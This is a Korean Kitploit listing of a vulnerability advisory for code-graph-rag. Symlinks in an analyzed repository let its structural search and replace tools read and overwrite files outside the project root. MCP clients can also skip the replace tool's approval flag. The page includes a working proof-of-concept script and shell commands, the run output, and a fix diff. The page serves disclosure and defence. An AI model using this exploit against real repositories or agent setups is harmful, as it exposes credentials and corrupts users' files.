Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
code-graph-rag-PoC — PoC — code-graph-rag에서 프로젝트 루트 외부의 임의 파일 읽기/쓰기로 이어지는 심볼릭 링크 추적 (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1). | Kitploit
도구/GitHubGitHub/squeeze440/code-graph-rag-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — code-graph-rag에서 프로젝트 루트 외부의 임의 파일 읽기/쓰기로 이어지는 심볼릭 링크 추적 (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).

저장소 보기
7일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

code-graph-rag: 보안 권고

CVE 상태: 요청됨, 할당 대기 중. 이 발견 사항은 GHSA-85gg-2gfq-q95m으로 공개되었습니다. CVE가 할당되면 이 저장소는 CVE-YYYY-NNNNN-code-graph-rag-PoC로 이름이 변경되고 이 배너는 CVE 링크로 대체됩니다.

연구자Dostxodjayev Abdullox (@squeeze440)
권고GHSA-85gg-2gfq-q95m
CVSS 3.17.1 (높음)
취약점CWE-59, CWE-22

요약

code-graph-rag가 분석하는 소스 코드 저장소에 심볼릭 링크를 포함시킬 수 있는 원격/로컬 공격자는 structural_search 및 structural_replace 도구(AstGrepService 기반, MCP 도구와 에이전트 AI 도구 모두로 노출됨)가 구성된 프로젝트 루트 외부의 임의 파일을 읽고 — dry_run=False인 structural_replace를 통해 — 덮어쓸 수 있습니다. 이는 도구의 경로 포함 검사(should_skip_path/_classify_file)가 해석되지 않은 경로에 대해 어휘적으로 수행되며, 프로젝트 자체의 (올바른) validate_project_path 데코레이터와 달리 Path.is_symlink()를 확인하거나 .resolve()를 호출하지 않기 때문입니다.

제품

vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)

테스트된 버전

커밋 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject 버전 0.0.550) — 테스트 시점의 현재 main. 이 커밋이 이미 이전 권고(GHSA-vvr2-h2jp-838m: 페이지네이션된 read_file 경로 순회)에 대한 수정과 최신 HTTP-MCP 베어러 인증 게이트(codebase_rag/mcp/server.py의 _validate_http_exposure)를 포함하고 있음을 확인했으므로, 이는 그러한 수정 위에 존재하는 별개의, 여전히 열려 있는 문제입니다.

추정 CVSS v3.1

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (높음)

직관적이지 않은 지표:

  • AV:L — 이 결함은 도구의 핵심 로컬/CLI/stdio-MCP 사용(심어놓은 심볼릭 링크가 포함된 저장소 분석)을 통해서만 악용 가능하며, 선택적이고 현재 베어러 토큰으로 게이트된 HTTP MCP 전송에 의존하지 않으므로, 기본 벡터는 원격 배포를 가정하지 않고 항상 존재하는 로컬 표면에서 점수가 매겨집니다.
  • UI:R — 공격자가 악성 저장소(심볼릭 링크)를 제공하지만, 별도의 당사자(사용자 또는 그를 대신해 행동하는 AI 에이전트)가 실제로 해당 프로젝트에 대해 structural_search/structural_replace를 실행해야 읽기/쓰기가 발생합니다.
  • A:N — 파일 내용의 임의 덮어쓰기가 입증되었으며, 충돌/시스템 DoS 체인은 입증되지 않았으므로 가용성은 가정하지 않고 보수적으로 None으로 점수가 매겨집니다.

세부 사항

AstGrepService (codebase_rag/tools/ast_grep_service.py)는 structural_search 및 structural_replace MCP/에이전트 도구 모두를 지원합니다. 이는 os.walk()로 후보 파일을 열거하고 각 경로를 should_skip_path()를 통해서만 게이트합니다:

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — os.walk()로 self.project_root를 순회하며, os.walk가 반환하는 모든 비디렉터리 dirent(디스크 어디든 가리키는 심볼릭 링크 포함)는 범위 내 파일로 취급됩니다.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — 유일한 포함 검사는 should_skip_path(...)에 이어 abs_path.relative_to(self.project_root)(82행)이며, abs_path는 결코 해석되지 않으므로 이 검사는 순전히 어휘적/문자열 기반입니다.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) 및 codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — .resolve()나 Path.is_symlink()를 호출하지 않고 rel_path = file_path.relative_to(repo_path)를 계산합니다. 이 함수에서 심볼릭 링크를 실제 파일과 다르게 취급하는 부분은 없습니다.
  • 읽기 싱크: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path)가 path.read_text()를 호출하며, Python은 대상이 어디에 있든 심볼릭 링크를 따라 실제 대상으로 이동합니다.
  • 쓰기 싱크: codebase_rag/tools/ast_grep_service.py:187-208 (replace), 특히 208행 — dry_run=False일 때 abs_path.write_text(new_source, ...)가 다시 심볼릭 링크를 따라 실제 대상 파일의 내용을 덮어씁니다.

이는 나머지 코드베이스가 동일한 위험 클래스를 처리하는 방식과 일치하지 않습니다. 파일 읽기/쓰기/편집 도구(file_reader.py, file_writer.py, file_editor.py)는 모두 validate_project_path (codebase_rag/decorators.py:73-75)로 보호됩니다:

root@kitploit:~
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve()는 포함 검사가 실행되기 전에 심볼릭 링크를 따라가므로, 해당 도구들은 루트 외부 대상을 올바르게 거부합니다. path_utils.py 자체의 absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176)는 docstring에서 동일한 원칙을 명시적으로 문서화합니다: "resolve() 호출은 핵심입니다: 포함 검사는 어휘적으로 수행되므로, 해석되지 않은 .. 세그먼트나 심볼릭 링크는 루트를 벗어날 수 있습니다." — 그러나 structural_search/structural_replace가 사용하는 should_skip_path()/AstGrepService는 이 패턴을 결코 적용하지 않습니다.

두 도구의 도달 가능성/노출:

  • structural_search (codebase_rag/tools/structural_search.py:24-46)는 requires_approval 플래그가 전혀 없으므로, MCP 클라이언트의 모델이 사람의 확인 없이 자율적으로 호출할 수 있습니다.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57)는 requires_approval=True로 표시되어 있지만, 이 플래그는 pydantic-ai 자체의 에이전트 루프에 의해서만 강제됩니다. MCP 서버 경로는 이를 완전히 우회합니다: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596)는 self._structural_editor_tool.function(...)을 직접 호출하며, MCP 도구는 codebase_rag/mcp/tools.py:369-388(MCPToolName.STRUCTURAL_REPLACE에 대한 ToolMetadata)에서 승인 개념 없이 등록됩니다 — 도구를 호출할 수 있는 모든 MCP 클라이언트는 한 번에 dry_run=False로 structural_replace를 호출할 수 있습니다.

개념 증명

설치된 패키지에 대해 동적으로 확인되었습니다(이전 권고의 PoC와 정확히 동일하게 mgclient/pymgclient를 모킹했으며, 이 코드 경로에는 Memgraph 네이티브 클라이언트가 필요하지 않기 때문입니다).

root@kitploit:~
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
root@kitploit:~
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

실제 실행 출력(/tmp/poc_venv, 테스트된 커밋에서 pip install --no-deps -e .로 패키지 설치):

root@kitploit:~
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

스크린샷 없음 — 이는 브라우저/GUI 구성 요소가 없는 순수 라이브러리/CLI 수준의 발견 사항입니다.

영향

cgr(CLI, 에이전트 ask_agent 모드, 또는 MCP structural_search/structural_replace 도구)을 완전히 감사하지 않은 저장소에 지정하는 모든 운영자 — 이 도구가 만들어진 바로 그 사용 사례("다국어 코드베이스를 쿼리, 이해, 편집") — 는 해당 저장소에 심어놓은 심볼릭 링크를 통해 다음을 당할 수 있습니다:

  • structural_search를 통해 cgr 프로세스가 읽을 수 있는 모든 파일(자격 증명, SSH 키, .env 파일, 형제 프로젝트 소스)의 내용을 유출하며, 승인 게이트가 전혀 없습니다.
  • MCP 프로토콜을 통해 호출될 때 도구 자체의 승인 게이트를 우회하여 structural_replace(dry_run=False)를 통해 cgr 프로세스가 쓸 수 있는 모든 파일의 내용을 덮어쓰기합니다.

이는 GHSA-vvr2-h2jp-838m과 동일한 "분석된 코드베이스의 악성 콘텐츠가 project_root를 벗어남" 버그 클래스이지만, 별개의 근본 원인(AstGrepService/should_skip_path의 심볼릭 링크 해석 누락, CWE-59)과 다른 구성 요소(codebase_rag/mcp/tools.py의 페이지네이션된 read_file이 아닌 codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py)의 별개의, 더 심각한 싱크(읽기뿐 아니라 임의 쓰기)입니다. 이전 권고의 취약한 줄 범위나 수정과 겹치지 않습니다.

취약점

  • CWE-59: 파일 접근 전 부적절한 링크 해석('링크 팔로잉') — 주요 근본 원인.
  • CWE-22: 경로명을 제한된 디렉터리로의 부적절한 제한('경로 순회') — 그 결과로 발생하는 프로젝트 루트 탈출.

수정

validate_project_path (codebase_rag/decorators.py:73-75)와 absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176)가 이미 사용하는 것과 동일한 resolve-then-contain 패턴을 should_skip_path에 적용하십시오. 해석되지 않은 경로 문자열만 확인하는 대신, 해석된(심볼릭 링크를 따라간) 위치가 해석된 프로젝트 루트를 벗어나는 모든 경로를 거부하십시오:

root@kitploit:~
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

구체적으로: should_skip_path의 이 한 가지 변경이 _classify_file(검색)과 _iter_source_files(교체)의 os.walk 필터링 모두를 수정합니다. 둘 다 이를 통해 라우팅되기 때문입니다. 심층 방어로, _iter_source_files는 os.walk 중에 심볼릭 링크된 dirent(entry.is_symlink())를 추가로 완전히 건너뛸 수 있습니다. AI 기반 코드 분석 도구는 애초에 인덱싱된 루트 외부를 순회할 필요가 없기 때문입니다.

크레딧

Dostxodjayev Abdullox (GitHub: squeeze440)

보고 채널

비공개 취약점 보고(PVR)가 vitali87/code-graph-rag에서 활성화되어 있음이 확인되었으며, 이 보고서는 저장소의 기존 공개 권고(GHSA-vvr2-h2jp-838m)와 일관되게 해당 채널(GitHub Security Advisories)을 통해 제출되도록 작성되었습니다.

도구 다운로드